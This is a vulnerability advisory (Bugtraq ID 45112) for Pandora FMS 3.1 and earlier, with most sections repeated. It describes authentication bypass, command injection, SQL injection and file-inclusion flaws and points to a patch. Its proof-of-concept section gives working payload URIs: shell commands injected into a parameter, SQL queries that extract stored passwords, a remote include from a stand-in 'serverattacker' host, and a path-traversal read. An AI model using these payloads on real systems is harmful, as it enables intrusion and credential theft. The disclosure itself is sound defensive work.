Pandora FMS Authentication Bypass And Multiple Input Validation Vulnerabilities
BID:45112
Info
Pandora FMS Authentication Bypass And Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 45112 |
| Class: | Input Validation Error |
| CVE: |
CVE-2010-4278 CVE-2010-4279 CVE-2010-4280 CVE-2010-4281 CVE-2010-4282 CVE-2010-4283 |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 30 2010 12:00AM |
| Updated: | Nov 30 2010 12:00AM |
| Credit: | Juan Galiana Lara |
| Vulnerable: |
Pandora FMS Team Pandora FMS 3.1 Pandora FMS Team Pandora FMS 3 Pandora FMS Team Pandora FMS 2.1 |
| Not Vulnerable: |
Pandora FMS Team Pandora FMS 3.1.1 |
Discussion
Pandora FMS Authentication Bypass And Multiple Input Validation Vulnerabilities
Pandora FMS is prone to an authentication-bypass vulnerability as well as the following input-validation vulnerabilities:
1. A command-injection vulnerability
2. Multiple SQL-injection vulnerabilities
3. A remote file-include vulnerability
4. An arbitrary PHP-code-execution vulnerability
5. Multiple local file-include vulnerabilities
Attackers may exploit these issues to execute local and remote script code in the context of the affected application, compromise the application, obtain sensitive information, access or modify data, exploit latent vulnerabilities in the underlying database, and gain administrative access to the affected application.
Versions prior and including Pandora FMS 3.1 are vulnerable.
Pandora FMS is prone to an authentication-bypass vulnerability as well as the following input-validation vulnerabilities:
1. A command-injection vulnerability
2. Multiple SQL-injection vulnerabilities
3. A remote file-include vulnerability
4. An arbitrary PHP-code-execution vulnerability
5. Multiple local file-include vulnerabilities
Attackers may exploit these issues to execute local and remote script code in the context of the affected application, compromise the application, obtain sensitive information, access or modify data, exploit latent vulnerabilities in the underlying database, and gain administrative access to the affected application.
Versions prior and including Pandora FMS 3.1 are vulnerable.
Exploit / POC
Pandora FMS Authentication Bypass And Multiple Input Validation Vulnerabilities
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/pandora_console/index.php?loginhash_data=21232f297a57a5a743894a0e4a801fc3&loginhash_user=admin&loginhash=1
http://www.example.com/pandora_console/index.php?login=1&login=1&sec=estado&sec2=operation/agentes/networkmap&refr=0&layout=1;uname%20-a;
http://www.example.com/pandora_console/index.php?login=1&sec=estado&sec2=operation/agentes/networkmap&refr=0&layout=1;id;
http://www.example.com/pandora_console/ajax.php?page=operation/agentes/ver_agente&get_agents_group_json=1&id_group=1/**/and/**/1=0/**/union/**/select/**/id_user,password/**/from/**/tusuario
http://www.example.com/pandora_console/index.php?sec=estado&sec2=operation/agentes/estado_agente&group_id=24%29%20and%20%28select%20password%20from%20tusuario%20where%20ord%28substring%28password,1,1%29%29=49%20and%20id_user=0x61646d696e%29%20union%20select%20id_agente,%20nombre%20from%20tagente%20where%20id_grupo%20in%20%281
http://www.example.com/pandora_console/ajax.php?page=//server/share/test
http://www.example.com/pandora_console/extras/pandora_diag.php?argc=2&argv[1]=http://serverattacker/salsa.php%00
http://www.example.com/pandora_console/general/pandora_help.php?id=/../../../../../../../boot.ini%00
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/pandora_console/index.php?loginhash_data=21232f297a57a5a743894a0e4a801fc3&loginhash_user=admin&loginhash=1
http://www.example.com/pandora_console/index.php?login=1&login=1&sec=estado&sec2=operation/agentes/networkmap&refr=0&layout=1;uname%20-a;
http://www.example.com/pandora_console/index.php?login=1&sec=estado&sec2=operation/agentes/networkmap&refr=0&layout=1;id;
http://www.example.com/pandora_console/ajax.php?page=operation/agentes/ver_agente&get_agents_group_json=1&id_group=1/**/and/**/1=0/**/union/**/select/**/id_user,password/**/from/**/tusuario
http://www.example.com/pandora_console/index.php?sec=estado&sec2=operation/agentes/estado_agente&group_id=24%29%20and%20%28select%20password%20from%20tusuario%20where%20ord%28substring%28password,1,1%29%29=49%20and%20id_user=0x61646d696e%29%20union%20select%20id_agente,%20nombre%20from%20tagente%20where%20id_grupo%20in%20%281
http://www.example.com/pandora_console/ajax.php?page=//server/share/test
http://www.example.com/pandora_console/extras/pandora_diag.php?argc=2&argv[1]=http://serverattacker/salsa.php%00
http://www.example.com/pandora_console/general/pandora_help.php?id=/../../../../../../../boot.ini%00
Solution / Fix
Pandora FMS Authentication Bypass And Multiple Input Validation Vulnerabilities
Solution:
Updates are available. Please see the reference for more details.
Pandora FMS Team Pandora FMS 3.1
Solution:
Updates are available. Please see the reference for more details.
Pandora FMS Team Pandora FMS 3.1
-
Pandora FMS Team pandorafms_console-3.1_security_patch_13Oct2010.tar.gz
http://sourceforge.net/projects/pandora/files/Pandora%20FMS%203.1/Fina l%20version%20%28Stable%29/pandorafms_console-3.1_security_patch_13Oct 2010.tar.gz/download
References
Pandora FMS Authentication Bypass And Multiple Input Validation Vulnerabilities
References:
References:
- Pandora FMS - Homepage (Pandora FMS Team)
- Pandora FMS Authentication Bypass and Multiple Input Validation Vulnerabilities (Juan Galiana Lara)